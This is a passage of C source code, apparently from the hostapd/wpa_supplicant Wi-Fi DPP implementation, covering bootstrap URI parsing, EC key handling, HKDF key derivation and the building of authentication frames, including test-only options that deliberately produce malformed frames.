Wrapped Data attribute"); return -1; } if (id == DPP_ATTR_WRAPPED_DATA) wrapped_data = 1; pos += alen; } if (end != pos) { wpa_printf(MSG_DEBUG, "DPP: Unexpected octets (%d) after the last attribute", (int) (end - pos)); return -1; } return 0; } void dpp_bootstrap_info_free(struct dpp_bootstrap_info *info) { if (!info) return; os_free(info->uri); os_free(info->info); EVP_PKEY_free(info->pubkey); os_free(info); } const char * dpp_bootstrap_type_txt(enum dpp_bootstrap_type type) { switch (type) { case DPP_BOOTSTRAP_QR_CODE: return "QRCODE"; case DPP_BOOTSTRAP_PKEX: return "PKEX"; } return "??"; } static int dpp_uri_valid_info(const char *info) { while (*info) { unsigned char val = *info++; if (val < 0x20 || val > 0x7e || val == 0x3b) return 0; } return 1; } static int dpp_clone_uri(struct dpp_bootstrap_info *bi, const char *uri) { bi->uri = os_strdup(uri); return bi->uri ? 0 : -1; } int dpp_parse_uri_chan_list(struct dpp_bootstrap_info *bi, const char *chan_list) { const char *pos = chan_list; int opclass, channel, freq; while (pos && *pos && *pos != ';') { opclass = atoi(pos); if (opclass <= 0) goto fail; pos = os_strchr(pos, '/'); if (!pos) goto fail; pos++; channel = atoi(pos); if (channel <= 0) goto fail; while (*pos >= '0' && *pos <= '9') pos++; freq = ieee80211_chan_to_freq(NULL, opclass, channel); wpa_printf(MSG_DEBUG, "DPP: URI channel-list: opclass=%d channel=%d ==> freq=%d", opclass, channel, freq); if (freq < 0) { wpa_printf(MSG_DEBUG, "DPP: Ignore unknown URI channel-list channel (opclass=%d channel=%d)", opclass, channel); } else if (bi->num_freq == DPP_BOOTSTRAP_MAX_FREQ) { wpa_printf(MSG_DEBUG, "DPP: Too many channels in URI channel-list - ignore list"); bi->num_freq = 0; break; } else { bi->freq[bi->num_freq++] = freq; } if (*pos == ';' || *pos == '\0') break; if (*pos != ',') goto fail; pos++; } return 0; fail: wpa_printf(MSG_DEBUG, "DPP: Invalid URI channel-list"); return -1; } int dpp_parse_uri_mac(struct dpp_bootstrap_info *bi, const char *mac) { if (!mac) return 0; if (hwaddr_aton2(mac, bi->mac_addr) < 0) { wpa_printf(MSG_DEBUG, "DPP: Invalid URI mac"); return -1; } wpa_printf(MSG_DEBUG, "DPP: URI mac: " MACSTR, MAC2STR(bi->mac_addr)); return 0; } int dpp_parse_uri_info(struct dpp_bootstrap_info *bi, const char *info) { const char *end; if (!info) return 0; end = os_strchr(info, ';'); if (!end) end = info + os_strlen(info); bi->info = os_malloc(end - info + 1); if (!bi->info) return -1; os_memcpy(bi->info, info, end - info); bi->info[end - info] = '\0'; wpa_printf(MSG_DEBUG, "DPP: URI(information): %s", bi->info); if (!dpp_uri_valid_info(bi->info)) { wpa_printf(MSG_DEBUG, "DPP: Invalid URI information payload"); return -1; } return 0; } static const struct dpp_curve_params * dpp_get_curve_oid(const ASN1_OBJECT *poid) { ASN1_OBJECT *oid; int i; for (i = 0; dpp_curves[i].name; i++) { oid = OBJ_txt2obj(dpp_curves[i].name, 0); if (oid && OBJ_cmp(poid, oid) == 0) return &dpp_curves[i]; } return NULL; } static const struct dpp_curve_params * dpp_get_curve_nid(int nid) { int i, tmp; if (!nid) return NULL; for (i = 0; dpp_curves[i].name; i++) { tmp = OBJ_txt2nid(dpp_curves[i].name); if (tmp == nid) return &dpp_curves[i]; } return NULL; } static int dpp_parse_uri_pk(struct dpp_bootstrap_info *bi, const char *info) { const char *end; u8 *data; size_t data_len; EVP_PKEY *pkey; const unsigned char *p; int res; X509_PUBKEY *pub = NULL; ASN1_OBJECT *ppkalg; const unsigned char *pk; int ppklen; X509_ALGOR *pa; #if OPENSSL_VERSION_NUMBER < 0x10100000L || defined(LIBRESSL_VERSION_NUMBER) ASN1_OBJECT *pa_oid; #else const ASN1_OBJECT *pa_oid; #endif const void *pval; int ptype; const ASN1_OBJECT *poid; char buf[100]; end = os_strchr(info, ';'); if (!end) return -1; data = base64_decode((const unsigned char *) info, end - info, &data_len); if (!data) { wpa_printf(MSG_DEBUG, "DPP: Invalid base64 encoding on URI public-key"); return -1; } wpa_hexdump(MSG_DEBUG, "DPP: Base64 decoded URI public-key", data, data_len); if (sha256_vector(1, (const u8 **) &data, &data_len, bi->pubkey_hash) < 0) { wpa_printf(MSG_DEBUG, "DPP: Failed to hash public key"); return -1; } wpa_hexdump(MSG_DEBUG, "DPP: Public key hash", bi->pubkey_hash, SHA256_MAC_LEN); /* DER encoded ASN.1 SubjectPublicKeyInfo * * SubjectPublicKeyInfo ::= SEQUENCE { * algorithm AlgorithmIdentifier, * subjectPublicKey BIT STRING } * * AlgorithmIdentifier ::= SEQUENCE { * algorithm OBJECT IDENTIFIER, * parameters ANY DEFINED BY algorithm OPTIONAL } * * subjectPublicKey = compressed format public key per ANSI X9.63 * algorithm = ecPublicKey (1.2.840.10045.2.1) * parameters = shall be present and shall be OBJECT IDENTIFIER; e.g., * prime256v1 (1.2.840.10045.3.1.7) */ p = data; pkey = d2i_PUBKEY(NULL, &p, data_len); os_free(data); if (!pkey) { wpa_printf(MSG_DEBUG, "DPP: Could not parse URI public-key SubjectPublicKeyInfo"); return -1; } if (EVP_PKEY_type(EVP_PKEY_id(pkey)) != EVP_PKEY_EC) { wpa_printf(MSG_DEBUG, "DPP: SubjectPublicKeyInfo does not describe an EC key"); EVP_PKEY_free(pkey); return -1; } res = X509_PUBKEY_set(&pub, pkey); if (res != 1) { wpa_printf(MSG_DEBUG, "DPP: Could not set pubkey"); goto fail; } res = X509_PUBKEY_get0_param(&ppkalg, &pk, &ppklen, &pa, pub); if (res != 1) { wpa_printf(MSG_DEBUG, "DPP: Could not extract SubjectPublicKeyInfo parameters"); goto fail; } res = OBJ_obj2txt(buf, sizeof(buf), ppkalg, 0); if (res < 0 || (size_t) res >= sizeof(buf)) { wpa_printf(MSG_DEBUG, "DPP: Could not extract SubjectPublicKeyInfo algorithm"); goto fail; } wpa_printf(MSG_DEBUG, "DPP: URI subjectPublicKey algorithm: %s", buf); if (os_strcmp(buf, "id-ecPublicKey") != 0) { wpa_printf(MSG_DEBUG, "DPP: Unsupported SubjectPublicKeyInfo algorithm"); goto fail; } X509_ALGOR_get0(&pa_oid, &ptype, (void *) &pval, pa); if (ptype != V_ASN1_OBJECT) { wpa_printf(MSG_DEBUG, "DPP: SubjectPublicKeyInfo parameters did not contain an OID"); goto fail; } poid = pval; res = OBJ_obj2txt(buf, sizeof(buf), poid, 0); if (res < 0 || (size_t) res >= sizeof(buf)) { wpa_printf(MSG_DEBUG, "DPP: Could not extract SubjectPublicKeyInfo parameters OID"); goto fail; } wpa_printf(MSG_DEBUG, "DPP: URI subjectPublicKey parameters: %s", buf); bi->curve = dpp_get_curve_oid(poid); if (!bi->curve) { wpa_printf(MSG_DEBUG, "DPP: Unsupported SubjectPublicKeyInfo curve: %s", buf); goto fail; } wpa_hexdump(MSG_DEBUG, "DPP: URI subjectPublicKey", pk, ppklen); X509_PUBKEY_free(pub); bi->pubkey = pkey; return 0; fail: X509_PUBKEY_free(pub); EVP_PKEY_free(pkey); return -1; } static struct dpp_bootstrap_info * dpp_parse_uri(const char *uri) { const char *pos = uri; const char *end; const char *chan_list = NULL, *mac = NULL, *info = NULL, *pk = NULL; struct dpp_bootstrap_info *bi; wpa_hexdump_ascii(MSG_DEBUG, "DPP: URI", uri, os_strlen(uri)); if (os_strncmp(pos, "DPP:", 4) != 0) { wpa_printf(MSG_INFO, "DPP: Not a DPP URI"); return NULL; } pos += 4; for (;;) { end = os_strchr(pos, ';'); if (!end) break; if (end == pos) { /* Handle terminating ";;" and ignore unexpected ";" * for parsing robustness. */ pos++; continue; } if (pos[0] == 'C' && pos[1] == ':' && !chan_list) chan_list = pos + 2; else if (pos[0] == 'M' && pos[1] == ':' && !mac) mac = pos + 2; else if (pos[0] == 'I' && pos[1] == ':' && !info) info = pos + 2; else if (pos[0] == 'K' && pos[1] == ':' && !pk) pk = pos + 2; else wpa_hexdump_ascii(MSG_DEBUG, "DPP: Ignore unrecognized URI parameter", pos, end - pos); pos = end + 1; } if (!pk) { wpa_printf(MSG_INFO, "DPP: URI missing public-key"); return NULL; } bi = os_zalloc(sizeof(*bi)); if (!bi) return NULL; if (dpp_clone_uri(bi, uri) < 0 || dpp_parse_uri_chan_list(bi, chan_list) < 0 || dpp_parse_uri_mac(bi, mac) < 0 || dpp_parse_uri_info(bi, info) < 0 || dpp_parse_uri_pk(bi, pk) < 0) { dpp_bootstrap_info_free(bi); bi = NULL; } return bi; } struct dpp_bootstrap_info * dpp_parse_qr_code(const char *uri) { struct dpp_bootstrap_info *bi; bi = dpp_parse_uri(uri); if (bi) bi->type = DPP_BOOTSTRAP_QR_CODE; return bi; } static void dpp_debug_print_key(const char *title, EVP_PKEY *key) { EC_KEY *eckey; BIO *out; size_t rlen; char *txt; int res; unsigned char *der = NULL; int der_len; const EC_GROUP *group; const EC_POINT *point; out = BIO_new(BIO_s_mem()); if (!out) return; EVP_PKEY_print_private(out, key, 0, NULL); rlen = BIO_ctrl_pending(out); txt = os_malloc(rlen + 1); if (txt) { res = BIO_read(out, txt, rlen); if (res > 0) { txt[res] = '\0'; wpa_printf(MSG_DEBUG, "%s: %s", title, txt); } os_free(txt); } BIO_free(out); eckey = EVP_PKEY_get1_EC_KEY(key); if (!eckey) return; group = EC_KEY_get0_group(eckey); point = EC_KEY_get0_public_key(eckey); if (group && point) dpp_debug_print_point(title, group, point); der_len = i2d_ECPrivateKey(eckey, &der); if (der_len > 0) wpa_hexdump_key(MSG_DEBUG, "DPP: ECPrivateKey", der, der_len); OPENSSL_free(der); if (der_len <= 0) { der = NULL; der_len = i2d_EC_PUBKEY(eckey, &der); if (der_len > 0) wpa_hexdump(MSG_DEBUG, "DPP: EC_PUBKEY", der, der_len); OPENSSL_free(der); } EC_KEY_free(eckey); } static EVP_PKEY * dpp_gen_keypair(const struct dpp_curve_params *curve) { EVP_PKEY_CTX *kctx = NULL; EC_KEY *ec_params; EVP_PKEY *params = NULL, *key = NULL; int nid; wpa_printf(MSG_DEBUG, "DPP: Generating a keypair"); nid = OBJ_txt2nid(curve->name); if (nid == NID_undef) { wpa_printf(MSG_INFO, "DPP: Unsupported curve %s", curve->name); return NULL; } ec_params = EC_KEY_new_by_curve_name(nid); if (!ec_params) { wpa_printf(MSG_ERROR, "DPP: Failed to generate EC_KEY parameters"); goto fail; } EC_KEY_set_asn1_flag(ec_params, OPENSSL_EC_NAMED_CURVE); params = EVP_PKEY_new(); if (!params || EVP_PKEY_set1_EC_KEY(params, ec_params) != 1) { wpa_printf(MSG_ERROR, "DPP: Failed to generate EVP_PKEY parameters"); goto fail; } kctx = EVP_PKEY_CTX_new(params, NULL); if (!kctx || EVP_PKEY_keygen_init(kctx) != 1 || EVP_PKEY_keygen(kctx, &key) != 1) { wpa_printf(MSG_ERROR, "DPP: Failed to generate EC key"); goto fail; } if (wpa_debug_show_keys) dpp_debug_print_key("Own generated key", key); EVP_PKEY_free(params); EVP_PKEY_CTX_free(kctx); return key; fail: EVP_PKEY_CTX_free(kctx); EVP_PKEY_free(params); return NULL; } static const struct dpp_curve_params * dpp_get_curve_name(const char *name) { int i; for (i = 0; dpp_curves[i].name; i++) { if (os_strcmp(name, dpp_curves[i].name) == 0 || (dpp_curves[i].jwk_crv && os_strcmp(name, dpp_curves[i].jwk_crv) == 0)) return &dpp_curves[i]; } return NULL; } static const struct dpp_curve_params * dpp_get_curve_jwk_crv(const char *name) { int i; for (i = 0; dpp_curves[i].name; i++) { if (dpp_curves[i].jwk_crv && os_strcmp(name, dpp_curves[i].jwk_crv) == 0) return &dpp_curves[i]; } return NULL; } static EVP_PKEY * dpp_set_keypair(const struct dpp_curve_params **curve, const u8 *privkey, size_t privkey_len) { EVP_PKEY *pkey; EC_KEY *eckey; const EC_GROUP *group; int nid; pkey = EVP_PKEY_new(); if (!pkey) return NULL; eckey = d2i_ECPrivateKey(NULL, &privkey, privkey_len); if (!eckey) { wpa_printf(MSG_INFO, "DPP: OpenSSL: d2i_ECPrivateKey() failed: %s", ERR_error_string(ERR_get_error(), NULL)); EVP_PKEY_free(pkey); return NULL; } group = EC_KEY_get0_group(eckey); if (!group) { EC_KEY_free(eckey); EVP_PKEY_free(pkey); return NULL; } nid = EC_GROUP_get_curve_name(group); *curve = dpp_get_curve_nid(nid); if (!*curve) { wpa_printf(MSG_INFO, "DPP: Unsupported curve (nid=%d) in pre-assigned key", nid); EC_KEY_free(eckey); EVP_PKEY_free(pkey); return NULL; } if (EVP_PKEY_assign_EC_KEY(pkey, eckey) != 1) { EC_KEY_free(eckey); EVP_PKEY_free(pkey); return NULL; } return pkey; } typedef struct { /* AlgorithmIdentifier ecPublicKey with optional parameters present * as an OID identifying the curve */ X509_ALGOR *alg; /* Compressed format public key per ANSI X9.63 */ ASN1_BIT_STRING *pub_key; } DPP_BOOTSTRAPPING_KEY; ASN1_SEQUENCE(DPP_BOOTSTRAPPING_KEY) = { ASN1_SIMPLE(DPP_BOOTSTRAPPING_KEY, alg, X509_ALGOR), ASN1_SIMPLE(DPP_BOOTSTRAPPING_KEY, pub_key, ASN1_BIT_STRING) } ASN1_SEQUENCE_END(DPP_BOOTSTRAPPING_KEY); IMPLEMENT_ASN1_FUNCTIONS(DPP_BOOTSTRAPPING_KEY); static struct wpabuf * dpp_bootstrap_key_der(EVP_PKEY *key) { unsigned char *der = NULL; int der_len; EC_KEY *eckey; struct wpabuf *ret = NULL; size_t len; const EC_GROUP *group; const EC_POINT *point; BN_CTX *ctx; DPP_BOOTSTRAPPING_KEY *bootstrap = NULL; int nid; ctx = BN_CTX_new(); eckey = EVP_PKEY_get1_EC_KEY(key); if (!ctx || !eckey) goto fail; group = EC_KEY_get0_group(eckey); point = EC_KEY_get0_public_key(eckey); if (!group || !point) goto fail; dpp_debug_print_point("DPP: bootstrap public key", group, point); nid = EC_GROUP_get_curve_name(group); bootstrap = DPP_BOOTSTRAPPING_KEY_new(); if (!bootstrap || X509_ALGOR_set0(bootstrap->alg, OBJ_nid2obj(EVP_PKEY_EC), V_ASN1_OBJECT, (void *) OBJ_nid2obj(nid)) != 1) goto fail; len = EC_POINT_point2oct(group, point, POINT_CONVERSION_COMPRESSED, NULL, 0, ctx); if (len == 0) goto fail; der = OPENSSL_malloc(len); if (!der) goto fail; len = EC_POINT_point2oct(group, point, POINT_CONVERSION_COMPRESSED, der, len, ctx); OPENSSL_free(bootstrap->pub_key->data); bootstrap->pub_key->data = der; der = NULL; bootstrap->pub_key->length = len; /* No unused bits */ bootstrap->pub_key->flags &= ~(ASN1_STRING_FLAG_BITS_LEFT | 0x07); bootstrap->pub_key->flags |= ASN1_STRING_FLAG_BITS_LEFT; der_len = i2d_DPP_BOOTSTRAPPING_KEY(bootstrap, &der); if (der_len <= 0) { wpa_printf(MSG_ERROR, "DDP: Failed to build DER encoded public key"); goto fail; } ret = wpabuf_alloc_copy(der, der_len); fail: DPP_BOOTSTRAPPING_KEY_free(bootstrap); OPENSSL_free(der); EC_KEY_free(eckey); BN_CTX_free(ctx); return ret; } int dpp_bootstrap_key_hash(struct dpp_bootstrap_info *bi) { struct wpabuf *der; int res; const u8 *addr[1]; size_t len[1]; der = dpp_bootstrap_key_der(bi->pubkey); if (!der) return -1; wpa_hexdump_buf(MSG_DEBUG, "DPP: Compressed public key (DER)", der); addr[0] = wpabuf_head(der); len[0] = wpabuf_len(der); res = sha256_vector(1, addr, len, bi->pubkey_hash); if (res < 0) wpa_printf(MSG_DEBUG, "DPP: Failed to hash public key"); else wpa_hexdump(MSG_DEBUG, "DPP: Public key hash", bi->pubkey_hash, SHA256_MAC_LEN); wpabuf_free(der); return res; } char * dpp_keygen(struct dpp_bootstrap_info *bi, const char *curve, const u8 *privkey, size_t privkey_len) { unsigned char *base64 = NULL; char *pos, *end; size_t len; struct wpabuf *der = NULL; const u8 *addr[1]; int res; if (!curve) { bi->curve = &dpp_curves[0]; } else { bi->curve = dpp_get_curve_name(curve); if (!bi->curve) { wpa_printf(MSG_INFO, "DPP: Unsupported curve: %s", curve); return NULL; } } if (privkey) bi->pubkey = dpp_set_keypair(&bi->curve, privkey, privkey_len); else bi->pubkey = dpp_gen_keypair(bi->curve); if (!bi->pubkey) goto fail; bi->own = 1; der = dpp_bootstrap_key_der(bi->pubkey); if (!der) goto fail; wpa_hexdump_buf(MSG_DEBUG, "DPP: Compressed public key (DER)", der); addr[0] = wpabuf_head(der); len = wpabuf_len(der); res = sha256_vector(1, addr, &len, bi->pubkey_hash); if (res < 0) { wpa_printf(MSG_DEBUG, "DPP: Failed to hash public key"); goto fail; } wpa_hexdump(MSG_DEBUG, "DPP: Public key hash", bi->pubkey_hash, SHA256_MAC_LEN); base64 = base64_encode(wpabuf_head(der), wpabuf_len(der), &len); wpabuf_free(der); der = NULL; if (!base64) goto fail; pos = (char *) base64; end = pos + len; for (;;) { pos = os_strchr(pos, '\n'); if (!pos) break; os_memmove(pos, pos + 1, end - pos); } return (char *) base64; fail: os_free(base64); wpabuf_free(der); return NULL; } static int dpp_derive_k1(const u8 *Mx, size_t Mx_len, u8 *k1, unsigned int hash_len) { u8 salt[DPP_MAX_HASH_LEN], prk[DPP_MAX_HASH_LEN]; const char *info = "first intermediate key"; int res; /* k1 = HKDF(<>, "first intermediate key", M.x) */ /* HKDF-Extract(<>, M.x) */ os_memset(salt, 0, hash_len); if (dpp_hmac(hash_len, salt, hash_len, Mx, Mx_len, prk) < 0) return -1; wpa_hexdump_key(MSG_DEBUG, "DPP: PRK = HKDF-Extract(<>, IKM=M.x)", prk, hash_len); /* HKDF-Expand(PRK, info, L) */ res = dpp_hkdf_expand(hash_len, prk, hash_len, info, k1, hash_len); os_memset(prk, 0, hash_len); if (res < 0) return -1; wpa_hexdump_key(MSG_DEBUG, "DPP: k1 = HKDF-Expand(PRK, info, L)", k1, hash_len); return 0; } static int dpp_derive_k2(const u8 *Nx, size_t Nx_len, u8 *k2, unsigned int hash_len) { u8 salt[DPP_MAX_HASH_LEN], prk[DPP_MAX_HASH_LEN]; const char *info = "second intermediate key"; int res; /* k2 = HKDF(<>, "second intermediate key", N.x) */ /* HKDF-Extract(<>, N.x) */ os_memset(salt, 0, hash_len); res = dpp_hmac(hash_len, salt, hash_len, Nx, Nx_len, prk); if (res < 0) return -1; wpa_hexdump_key(MSG_DEBUG, "DPP: PRK = HKDF-Extract(<>, IKM=N.x)", prk, hash_len); /* HKDF-Expand(PRK, info, L) */ res = dpp_hkdf_expand(hash_len, prk, hash_len, info, k2, hash_len); os_memset(prk, 0, hash_len); if (res < 0) return -1; wpa_hexdump_key(MSG_DEBUG, "DPP: k2 = HKDF-Expand(PRK, info, L)", k2, hash_len); return 0; } static int dpp_derive_ke(struct dpp_authentication *auth, u8 *ke, unsigned int hash_len) { size_t nonce_len; u8 nonces[2 * DPP_MAX_NONCE_LEN]; const char *info_ke = "DPP Key"; u8 prk[DPP_MAX_HASH_LEN]; int res; const u8 *addr[3]; size_t len[3]; size_t num_elem = 0; if (!auth->Mx_len || !auth->Nx_len) { wpa_printf(MSG_DEBUG, "DPP: Mx/Nx not available - cannot derive ke"); return -1; } /* ke = HKDF(I-nonce | R-nonce, "DPP Key", M.x | N.x [| L.x]) */ /* HKDF-Extract(I-nonce | R-nonce, M.x | N.x [| L.x]) */ nonce_len = auth->curve->nonce_len; os_memcpy(nonces, auth->i_nonce, nonce_len); os_memcpy(&nonces[nonce_len], auth->r_nonce, nonce_len); addr[num_elem] = auth->Mx; len[num_elem] = auth->Mx_len; num_elem++; addr[num_elem] = auth->Nx; len[num_elem] = auth->Nx_len; num_elem++; if (auth->peer_bi && auth->own_bi) { if (!auth->Lx_len) { wpa_printf(MSG_DEBUG, "DPP: Lx not available - cannot derive ke"); return -1; } addr[num_elem] = auth->Lx; len[num_elem] = auth->secret_len; num_elem++; } res = dpp_hmac_vector(hash_len, nonces, 2 * nonce_len, num_elem, addr, len, prk); if (res < 0) return -1; wpa_hexdump_key(MSG_DEBUG, "DPP: PRK = HKDF-Extract(<>, IKM)", prk, hash_len); /* HKDF-Expand(PRK, info, L) */ res = dpp_hkdf_expand(hash_len, prk, hash_len, info_ke, ke, hash_len); os_memset(prk, 0, hash_len); if (res < 0) return -1; wpa_hexdump_key(MSG_DEBUG, "DPP: ke = HKDF-Expand(PRK, info, L)", ke, hash_len); return 0; } static void dpp_build_attr_status(struct wpabuf *msg, enum dpp_status_error status) { wpa_printf(MSG_DEBUG, "DPP: Status %d", status); wpabuf_put_le16(msg, DPP_ATTR_STATUS); wpabuf_put_le16(msg, 1); wpabuf_put_u8(msg, status); } static void dpp_build_attr_r_bootstrap_key_hash(struct wpabuf *msg, const u8 *hash) { if (hash) { wpa_printf(MSG_DEBUG, "DPP: R-Bootstrap Key Hash"); wpabuf_put_le16(msg, DPP_ATTR_R_BOOTSTRAP_KEY_HASH); wpabuf_put_le16(msg, SHA256_MAC_LEN); wpabuf_put_data(msg, hash, SHA256_MAC_LEN); } } static void dpp_build_attr_i_bootstrap_key_hash(struct wpabuf *msg, const u8 *hash) { if (hash) { wpa_printf(MSG_DEBUG, "DPP: I-Bootstrap Key Hash"); wpabuf_put_le16(msg, DPP_ATTR_I_BOOTSTRAP_KEY_HASH); wpabuf_put_le16(msg, SHA256_MAC_LEN); wpabuf_put_data(msg, hash, SHA256_MAC_LEN); } } static struct wpabuf * dpp_auth_build_req(struct dpp_authentication *auth, const struct wpabuf *pi, size_t nonce_len, const u8 *r_pubkey_hash, const u8 *i_pubkey_hash, unsigned int neg_freq) { struct wpabuf *msg; u8 clear[4 + DPP_MAX_NONCE_LEN + 4 + 1]; u8 wrapped_data[4 + DPP_MAX_NONCE_LEN + 4 + 1 + AES_BLOCK_SIZE]; u8 *pos; const u8 *addr[2]; size_t len[2], siv_len, attr_len; u8 *attr_start, *attr_end; /* Build DPP Authentication Request frame attributes */ attr_len = 2 * (4 + SHA256_MAC_LEN) + 4 + (pi ? wpabuf_len(pi) : 0) + 4 + sizeof(wrapped_data); if (neg_freq > 0) attr_len += 4 + 2; #ifdef CONFIG_TESTING_OPTIONS if (dpp_test == DPP_TEST_AFTER_WRAPPED_DATA_AUTH_REQ) attr_len += 5; #endif /* CONFIG_TESTING_OPTIONS */ msg = dpp_alloc_msg(DPP_PA_AUTHENTICATION_REQ, attr_len); if (!msg) return NULL; attr_start = wpabuf_put(msg, 0); /* Responder Bootstrapping Key Hash */ dpp_build_attr_r_bootstrap_key_hash(msg, r_pubkey_hash); /* Initiator Bootstrapping Key Hash */ dpp_build_attr_i_bootstrap_key_hash(msg, i_pubkey_hash); /* Initiator Protocol Key */ if (pi) { wpabuf_put_le16(msg, DPP_ATTR_I_PROTOCOL_KEY); wpabuf_put_le16(msg, wpabuf_len(pi)); wpabuf_put_buf(msg, pi); } /* Channel */ if (neg_freq > 0) { u8 op_class, channel; if (ieee80211_freq_to_channel_ext(neg_freq, 0, 0, &op_class, &channel) == NUM_HOSTAPD_MODES) { wpa_printf(MSG_INFO, "DPP: Unsupported negotiation frequency request: %d", neg_freq); wpabuf_free(msg); return NULL; } wpabuf_put_le16(msg, DPP_ATTR_CHANNEL); wpabuf_put_le16(msg, 2); wpabuf_put_u8(msg, op_class); wpabuf_put_u8(msg, channel); } #ifdef CONFIG_TESTING_OPTIONS if (dpp_test == DPP_TEST_NO_WRAPPED_DATA_AUTH_REQ) { wpa_printf(MSG_INFO, "DPP: TESTING - no Wrapped Data"); goto skip_wrapped_data; } #endif /* CONFIG_TESTING_OPTIONS */ /* Wrapped data ({I-nonce, I-capabilities}k1) */ pos = clear; #ifdef CONFIG_TESTING_OPTIONS if (dpp_test == DPP_TEST_NO_I_NONCE_AUTH_REQ) { wpa_printf(MSG_INFO, "DPP: TESTING - no I-nonce"); goto skip_i_nonce; } if (dpp_test == DPP_TEST_INVALID_I_NONCE_AUTH_REQ) { wpa_printf(MSG_INFO, "DPP: TESTING - invalid I-nonce"); WPA_PUT_LE16(pos, DPP_ATTR_I_NONCE); pos += 2; WPA_PUT_LE16(pos, nonce_len - 1); pos += 2; os_memcpy(pos, auth->i_nonce, nonce_len - 1); pos += nonce_len - 1; goto skip_i_nonce; } #endif /* CONFIG_TESTING_OPTIONS */ /* I-nonce */ WPA_PUT_LE16(pos, DPP_ATTR_I_NONCE); pos += 2; WPA_PUT_LE16(pos, nonce_len); pos += 2; os_memcpy(pos, auth->i_nonce, nonce_len); pos += nonce_len; #ifdef CONFIG_TESTING_OPTIONS skip_i_nonce: if (dpp_test == DPP_TEST_NO_I_CAPAB_AUTH_REQ) { wpa_printf(MSG_INFO, "DPP: TESTING - no I-capab"); goto skip_i_capab; } #endif /* CONFIG_TESTING_OPTIONS */ /* I-capabilities */ WPA_PUT_LE16(pos, DPP_ATTR_I_CAPABILITIES); pos += 2; WPA_PUT_LE16(pos, 1); pos += 2; auth->i_capab = auth->allowed_roles; *pos++ = auth->i_capab; #ifdef CONFIG_TESTING_OPTIONS if (dpp_test == DPP_TEST_ZERO_I_CAPAB) { wpa_printf(MSG_INFO, "DPP: TESTING - zero I-capabilities"); pos[-1] = 0; } skip_i_capab: #endif /* CONFIG_TESTING_OPTIONS */ attr_end = wpabuf_put(msg, 0); /* OUI, OUI type, Crypto Suite, DPP frame type */ addr[0] = wpabuf_head_u8(msg) + 2; len[0] = 3 + 1 + 1 + 1; wpa_hexdump(MSG_DEBUG, "DDP: AES-SIV AD[0]", addr[0], len[0]); /* Attributes before Wrapped Data */ addr[1] = attr_start; len[1] = attr_end - attr_start; wpa_hexdump(MSG_DEBUG, "DDP: AES-SIV AD[1]", addr[1], len[1]); siv_len = pos - clear; wpa_hexdump(MSG_DEBUG, "DPP: AES-SIV cleartext", clear, siv_len); if (aes_siv_encrypt(auth->k1, auth->curve->hash_len, clear, siv_len, 2, addr, len, wrapped_data) < 0) { wpabuf_free(msg); return NULL; } siv_len += AES_BLOCK_SIZE; wpa_hexdump(MSG_DEBUG, "DPP: AES-SIV ciphertext", wrapped_data, siv_len); wpabuf_put_le16(msg, DPP_ATTR_WRAPPED_DATA); wpabuf_put_le16(msg, siv_len); wpabuf_put_data(msg, wrapped_data, siv_len); #ifdef CONFIG_TESTING_OPTIONS if (dpp_test == DPP_TEST_AFTER_WRAPPED_DATA_AUTH_REQ) { wpa_printf(MSG_INFO, "DPP: TESTING - attr after Wrapped Data"); dpp_build_attr_status(msg, DPP_STATUS_OK); } skip_wrapped_data: #endif /* CONFIG_TESTING_OPTIONS */ wpa_hexdump_buf(MSG_DEBUG, "DPP: Authentication Request frame attributes", msg); return msg; } static struct wpabuf * dpp_auth_build_resp(struct dpp_authentication *auth, enum dpp_status_error status, const struct wpabuf *pr, size_t nonce_len, const u8 *r_pubkey_hash, const u8 *i_pubkey_hash, const u8 *r_nonce, const u8 *i_nonce, const u8 *wrapped_r_auth, size_t wrapped_r_auth_len, const u8 *siv_key) { struct wpabuf *msg; #define DPP_AUTH_RESP_CLEAR_LEN 2 * (4 + DPP_MAX_NONCE_LEN) + 4 + 1 + \ 4 + 4 + DPP_MAX_HASH_LEN + AES_BLOCK_SIZE u8 clear[DPP_AUTH_RESP_CLEAR_LEN]; u8 wrapped_data[DPP_AUTH_RESP_CLEAR_LEN + AES_BLOCK_SIZE]; const u8 *addr[2]; size_t len[2], siv_len, attr_len; u8 *attr_start, *attr_end, *pos; auth->waiting_auth_conf = 1; auth->auth_resp_tries = 0; /* Build DPP Authentication Response frame attributes */ attr_len = 4 + 1 + 2 * (4 + SHA256_MAC_LEN) + 4 + (pr ? wpabuf_len(pr) : 0) + 4 + sizeof(wrapped_data); #ifdef CONFIG_TESTING_OPTIONS if (dpp_test == DPP_TEST_AFTER_WRAPPED_DATA_AUTH_RESP) attr_len += 5; #endif /* CONFIG_TESTING_OPTIONS */ msg = dpp_alloc_msg(DPP_PA_AUTHENTICATION_RESP, attr_len); if (!msg) return NULL; attr_start = wpabuf_put(msg, 0); /* DPP Status */ if (status != 255) dpp_build_attr_status(msg, status); /* Responder Bootstrapping Key Hash */ dpp_build_attr_r_bootstrap_key_hash(msg, r_pubkey_hash); /* Initiator Bootstrapping Key Hash (mutual authentication) */ dpp_build_attr_i_bootstrap_key_hash(msg, i_pubkey_hash); /* Responder Protocol Key */ if (pr) { wpabuf_put_le16(msg, DPP_ATTR_R_PROTOCOL_KEY); wpabuf_put_le16(msg, wpabuf_len(pr)); wpabuf_put_buf(msg, pr); } attr_end = wpabuf_put(msg, 0); #ifdef CONFIG_TESTING_OPTIONS if (dpp_test == DPP_TEST_NO_WRAPPED_DATA_AUTH_RESP) { wpa_printf(MSG_INFO, "DPP: TESTING - no Wrapped Data"); goto skip_wrapped_data; } #endif /* CONFIG_TESTING_OPTIONS */ /* Wrapped data ({R-nonce, I-nonce, R-capabilities, {R-auth}ke}k2) */ pos = clear; if (r_nonce) { /* R-nonce */ WPA_PUT_LE16(pos, DPP_ATTR_R_NONCE); pos += 2; WPA_PUT_LE16(pos, nonce_len); pos += 2; os_memcpy(pos, r_nonce, nonce_len); pos += nonce_len; } if (i_nonce) { /* I-nonce */ WPA_PUT_LE16(pos, DPP_ATTR_I_NONCE); pos += 2; WPA_PUT_LE16(pos, nonce_len); pos += 2; os_memcpy(pos, i_nonce, nonce_len); #ifdef CONFIG_TESTING_OPTIONS if (dpp_test == DPP_TEST_I_NONCE_MISMATCH_AUTH_RESP) { wpa_printf(MSG_INFO, "DPP: TESTING - I-nonce mismatch"); pos[nonce_len / 2] ^= 0x01; } #endif /* CONFIG_TESTING_OPTIONS */ pos += nonce_len; } #ifdef CONFIG_TESTING_OPTIONS if (dpp_test == DPP_TEST_NO_R_CAPAB_AUTH_RESP) { wpa_printf(MSG_INFO, "DPP: TESTING - no R-capab"); goto 